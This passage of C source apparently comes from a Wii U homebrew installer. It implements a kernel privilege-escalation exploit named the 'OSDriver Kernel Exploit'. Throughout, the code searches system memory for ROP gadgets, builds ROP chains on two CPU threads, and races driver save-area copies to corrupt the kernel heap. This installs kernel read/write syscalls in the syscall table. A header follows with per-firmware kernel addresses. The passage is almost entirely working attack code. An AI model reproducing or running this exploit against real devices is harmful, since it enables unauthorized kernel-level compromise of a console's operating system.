OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
int (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int action);
void (*GX2Flush)(void);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find some gadgets */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8);
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20);
if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xa0, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");
/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
stack[0x94/4] = (uint32_t)OSExitThread;
DCFlushRange(stack, 0xa0);
DCFlushRange(thread, 0x1000);
/* Start the thread */
OSResumeThread(thread);
/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
/* Free stuff */
private_data->MEMFreeToDefaultHeap(thread);
private_data->MEMFreeToDefaultHeap(stack);
/* Register a new OSDriver, DRVHAX */
char drvname[8] = {'D', 'R', 'V', 'H', 'A', 'X', '\0'};
Register(drvname, 6, NULL, NULL);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
/* Modify the kernel address table and exit */
//kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000);
//kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800);
}
#else
typedef struct
{
char *drvb_name;
void *copy_payload;
void *thread0;
void *thread2;
uint32_t *rop0;
uint32_t *rop2;
void (*OSYieldThread)(void);
int32_t (*OSResumeThread)(void * thread);
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
} thread_data_container_t;
static void thread_callback(int argc, void *argv)
{
thread_data_container_t *container = (thread_data_container_t*)argv;
container->OSYieldThread();
/* Schedule both threads for execution */
container->OSResumeThread(container->thread0);
container->OSResumeThread(container->thread2);
/* Signal the CPU0 and CPU2 threads to begin */
container->rop0[0x1fc/4] = 0;
container->rop2[0x1ac/4] = 0;
container->OSYieldThread();
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
}
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
unsigned int coreinit_handle, sysapp_handle;
OSDynLoad_Acquire("coreinit", &coreinit_handle);
OSDynLoad_Acquire("sysapp", &sysapp_handle);
//needed to not destroy screen
doBrowserShutdown(coreinit_handle);
//prints out first message as well
setupOSScreen(coreinit_handle);
if(KERN_SYSCALL_TBL == 0)
{
printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1);
wait(coreinit_handle, 0x3FFFF);
exitOSScreen(coreinit_handle);
}
//OS Memory functions
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
void*(*memcpy)(void *dest, void *src, uint32_t length);
void*(*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*ICInvalidateRange)(void *buffer, uint32_t length);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
int32_t (*OSResumeThread)(void *thread);
int32_t (*OSGetThreadPriority)(void *thread);
void * (*OSGetCurrentThread)(void);
void (*OSYieldThread)(void);
int (*OSIsThreadTerminated)(void *thread);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)();
int(*SYSSwitchToBrowser)(void *args);
int(*SYSLaunchSettings)(void *args);
/* Read the addresses of the functions */
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
/* Allocate a stack for the threads */
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
/* Create the threads */
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
if (ret0 == false || ret2 == false)
{
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
wait(coreinit_handle, 0x3FFFF);
exitOSScreen(coreinit_handle);
}
printOSScreenMsg(coreinit_handle, "Running Exploit...",1);
/* Find a bunch of gadgets */
uint32_t sleep_addr;
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr);
sleep_addr += 0x44;
uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit);
uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020};
uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit);
uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit);
uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit);
/* Find the OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* Set up the ROP chain for CPU0 */
OSContext *ctx0 = (OSContext*) thread0;
uint32_t *rop0 = (uint32_t*) stack0;
ctx0->gpr[1] = stack0 + 0x80;
ctx0->gpr[28] = 0;
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
ctx0->gpr[31] = stack0 + 0x1f8;
ctx0->srr0 = sigwait_addr + 0xc;
rop0[0x94/4] = sleep_addr;
rop0[0x114/4] = r3r4load_addr;
rop0[0x118/4] = stack0 + 0x208;
rop0[0x11c/4] = 4;
rop0[0x124/4] = r30r31load_addr;
rop0[0x14c/4] = stack0 + 0x220;
rop0[0x154/4] = sigwait_addr;
rop0[0x164/4] = r5load_addr;
rop0[0x168/4] = stack0 + 0x218;
rop0[0x174/4] = r3r4load_addr;
rop0[0x178/4] = stack0 + 0x210;
rop0[0x17c/4] = 4;
rop0[0x184/4] = r30r31load_addr;
rop0[0x1a8/4] = stack0 + 0x230;
rop0[0x1b4/4] = r6load_addr;
rop0[0x1c4/4] = stack0 + 0x21c;
rop0[0x1dc/4] = stack0 + 0x228;
rop0[0x1e4/4] = sigwait_addr;
rop0[0x1f4/4] = sigwait_addr + 0x28;
rop0[0x1f8/4] = sigwait_addr + 0xc;
rop0[0x1fc/4] = stack0 + 0x1f8;
rop0[0x200/4] = 0;
rop0[0x204/4] = 0;
rop0[0x208/4] = 0x44525642;
rop0[0x20c/4] = 0;
rop0[0x210/4] = 0x44525643;
rop0[0x214/4] = 0;
rop0[0x218/4] = 0;
rop0[0x21c/4] = 0;
rop0[0x220/4] = (uint32_t)Deregister;
rop0[0x224/4] = 0;
rop0[0x228/4] = (uint32_t)Register;
rop0[0x22c/4] = 0;
/* Set up the ROP chain for CPU2 */
OSContext *ctx2 = (OSContext*) thread2;
uint32_t *rop2 = (uint32_t*) stack2;
ctx2->gpr[1] = stack2 + 0x80;
ctx2->gpr[28] = 0;
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
ctx2->gpr[31] = stack2 + 0x1a8;
ctx2->srr0 = sigwait_addr + 0xc;
rop2[0x94/4] = sleep_addr;
rop2[0x114/4] = r5load_addr;
rop2[0x118/4] = stack2 + 0x204;
rop2[0x124/4] = r3r4load_addr;
rop2[0x128/4] = stack2 + 0x1b8;
rop2[0x12c/4] = 4;
rop2[0x134/4] = r30r31load_addr;
rop2[0x158/4] = stack2 + 0x1c8;
rop2[0x164/4] = r6load_addr;
rop2[0x174/4] = 4;
rop2[0x18c/4] = stack2 + 0x1c0;
rop2[0x194/4] = sigwait_addr;
rop2[0x1a4/4] = sigwait_addr + 0x28;
rop2[0x1a8/4] = sigwait_addr + 0xc;
rop2[0x1ac/4] = stack2 + 0x1a8;
rop2[0x1b0/4] = 0;
rop2[0x1b4/4] = 0;
rop2[0x1b8/4] = 0x44525641;
rop2[0x1bc/4] = 0;
rop2[0x1c0/4] = (uint32_t)CopyToSaveArea;
rop2[0x1c4/4] = 0;
rop2[0x204/4] = 0xDEADC0DE;
/* Register driver A and driver B */
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
memcpy(drva_name, "DRVA", 5);
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
memcpy(drvb_name, "DRVB", 5);
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
if (status != 0)
{
printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
/* Generate the copy payload, which writes to syscall_table[0x34] */
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
if (!copy_payload)
{
printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
copy_payload[0] = 0x01234567;
copy_payload[0xfb4/4] = 0x44525648;
copy_payload[0xfb8/4] = 0x41580000;
copy_payload[0xff4/4] = PFID_BROWSER;
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
DCFlushRange(copy_payload, 0x1000);
DCInvalidateRange(copy_payload, 0x1000);
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
drvhax_name[7] = 0;
memcpy(drvhax_name, "DRVHAX", 7);
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
syscalls[0] = KERN_CODE_READ;
syscalls[1] = KERN_CODE_WRITE;
/* Do a dummy copy to put CopyToSaveArea() in our cache */
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
thread_data_container_t container;
container.drvb_name = drvb_name;
container.copy_payload = copy_payload;
container.rop0 = rop0;
container.rop2 = rop2;
container.thread0 = thread0;
container.thread2 = thread2;
container.OSResumeThread = OSResumeThread;
container.OSYieldThread = OSYieldThread;
container.CopyToSaveArea = CopyToSaveArea;
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
OSYieldThread();
/* Schedule both threads for execution */
//OSResumeThread(thread0);
//OSResumeThread(thread2);
OSResumeThread(thread1);
/* Signal the CPU0 and CPU2 threads to begin */
//rop2[0x1ac/4] = 0;
//rop0[0x1fc/4] = 0;
/* Start copying the payload into driver B's save area */
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
while(OSIsThreadTerminated(thread1) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
OSYieldThread();
}
/* Use DRVHAX to install the read and write syscalls */
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
/* Verify that the syscalls were installed */
uint32_t result = 42;
status = CopyFromSaveArea(drvhax_name, 6, &result, 4);
if (result != KERN_CODE_READ)
{
printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
/* Search the kernel heap for DRVA and DRVHAX */
uint32_t drva_addr = 0, drvhax_addr = 0;
uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10);
while (metadata_addr >= KERN_HEAP + 0x14)
{
/* Read the data address from the metadata, then read the data */
uint32_t data_addr = kern_read((void*)metadata_addr);
uint32_t data = kern_read((void*)data_addr);
/* Check for DRVA or DRVHAX, and if both are found, break */
if (data == 0x44525641) drva_addr = data_addr;
else if (data == 0x44525648) drvhax_addr = data_addr;
if (drva_addr && drvhax_addr) break;
/* Go to the previous metadata entry */
metadata_addr -= 0x10;
}
if (!(drva_addr && drvhax_addr))
{
printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
/* Make DRVHAX point to DRVA to ensure a clean exit */
kern_write((void*)(drvhax_addr + 0x48), drva_addr);
private_data->MEMFreeToDefaultHeap(thread0);
private_data->MEMFreeToDefaultHeap(thread1);
private_data->MEMFreeToDefaultHeap(thread2);
private_data->MEMFreeToDefaultHeap((void*)stack0);
private_data->MEMFreeToDefaultHeap((void*)stack1);
private_data->MEMFreeToDefaultHeap((void*)stack2);
//printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2);
//wait(coreinit_handle, 0x3FFFF);
//callSysExit(coreinit_handle,SYSSwitchToBrowser);
//exitOSScreen(coreinit_handle);
}
#endif
void wait(unsigned int coreinit_handle, unsigned int t)
{
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
while(t--)
{
OSYieldThread();
}
}
void doBrowserShutdown(unsigned int coreinit_handle)
{
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
void*(*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
int(*IM_Close)(int fd);
int(*IM_Open)();
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
//Restart system to get lib access
int fd = IM_Open();
void *mem = OSAllocFromSystem(0x100, 64);
memset(mem, 0, 0x100);
//set restart flag to force quit browser
IM_SetDeviceState(fd, mem, 3, 0, 0);
IM_Close(fd);
OSFreeToSystem(mem);
//wait a bit for browser end
wait(coreinit_handle, 0x3FFFF);
}
void drawString(unsigned int coreinit_handle, int x, int y, char * string)
{
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
OSScreenPutFontEx(0, x, y, string);
OSScreenPutFontEx(1, x, y, string);
}
void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)
{
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
uint32_t num = (r << 24) | (g << 16) | (b << 8) | a;
OSScreenClearBufferEx(0, num);
OSScreenClearBufferEx(1, num);
}
void flipBuffers(unsigned int coreinit_handle)
{
void(*DCFlushRange)(void *buffer, uint32_t length);
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
//Grab the buffer size for each screen (TV and gamepad)
int buf0_size = OSScreenGetBufferSizeEx(0);
int buf1_size = OSScreenGetBufferSizeEx(1);
//Flush the cache
DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size);
DCFlushRange((void *)0xF4000000, buf0_size);
//Flip the buffer
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
}
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
{
int i;
for(i=0;i<2;i++)
{
fillScreen(coreinit_handle, 0,0,0,0);
drawString(coreinit_handle, 0,pos,buf);
flipBuffers(coreinit_handle);
}
}
void setupOSScreen(unsigned int coreinit_handle)
{
void(*OSScreenInit)();
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
//Call the Screen initilzation function.
OSScreenInit();
//Grab the buffer size for each screen (TV and gamepad)
int buf0_size = OSScreenGetBufferSizeEx(0);
int buf1_size = OSScreenGetBufferSizeEx(1);
//Set the buffer area.
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size);
//Clear both framebuffers.
int ii;
for (ii = 0; ii < 2; ii++)
{
fillScreen(coreinit_handle, 0,0,0,0);
flipBuffers(coreinit_handle);
}
printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0);
}
void exitOSScreen(unsigned int coreinit_handle)
{
void (*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
//exit only works like this
int ii;
for(ii = 0; ii < 2; ii++)
{
fillScreen(coreinit_handle, 0,0,0,0);
flipBuffers(coreinit_handle);
}
_Exit();
}
void callSysExit(unsigned int coreinit_handle, void *sysFunc)
{
void*(*OSAllocFromSystem)(uint32_t size, int align);
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
int32_t (*OSResumeThread)(void *thread);
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A);
OSResumeThread(thread1);
while(OSIsThreadTerminated(thread1) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
}
/* Simple memcmp() implementation */
int memcmp(void *ptr1, void *ptr2, uint32_t length)
{
uint8_t *check1 = (uint8_t*) ptr1;
uint8_t *check2 = (uint8_t*) ptr2;
uint32_t i;
for (i = 0; i < length; i++)
{
if (check1[i] != check2[i]) return 1;
}
return 0;
}
void* memcpy(void* dst, const void* src, uint32_t size)
{
uint32_t i;
for (i = 0; i < size; i++)
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
return dst;
}
/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
{
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
/* Restart search after JIT */
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
OSFatal("Gadget not found!");
return (void*)0;
}
/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
{
uint32_t result;
asm volatile (
"li 3,1\n"
"li 4,0\n"
"li 5,0\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%1\n"
"li 0,0x3400\n"
"mr %0,1\n"
"sc\n"
"nop\n"
"mr 1,%0\n"
"mr %0,3\n"
: "=r"(result)
: "b"(addr)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
return result;
}
/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
{
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}
================================================
FILE: installer/kexploit.h
================================================
#ifndef KEXPLOIT_H
#define KEXPLOIT_H
#include "structs.h"
#include "types.h"
#include "coreinit.h"
#include "socket.h"
/* Wait times for CPU0 and CPU2 */
#define CPU0_WAIT_TIME 80
#define CPU2_WAIT_TIME 92
/* Gadget finding addresses */
#define JIT_ADDRESS 0x01800000
#if (VER == 300 || VER == 310)
#define CODE_ADDRESS_START 0x0E000000
#define CODE_ADDRESS_END 0x10000000
#else
#define CODE_ADDRESS_START 0x0D800000
#define CODE_ADDRESS_END 0x0F848A0C
#endif
/* Kernel addresses, stolen from Chadderz */
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#if VER == 200
#define KERN_SYSCALL_TBL 0xFFE85910
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB4E00
#define KERN_DRVPTR 0x00000000
#elif VER == 210
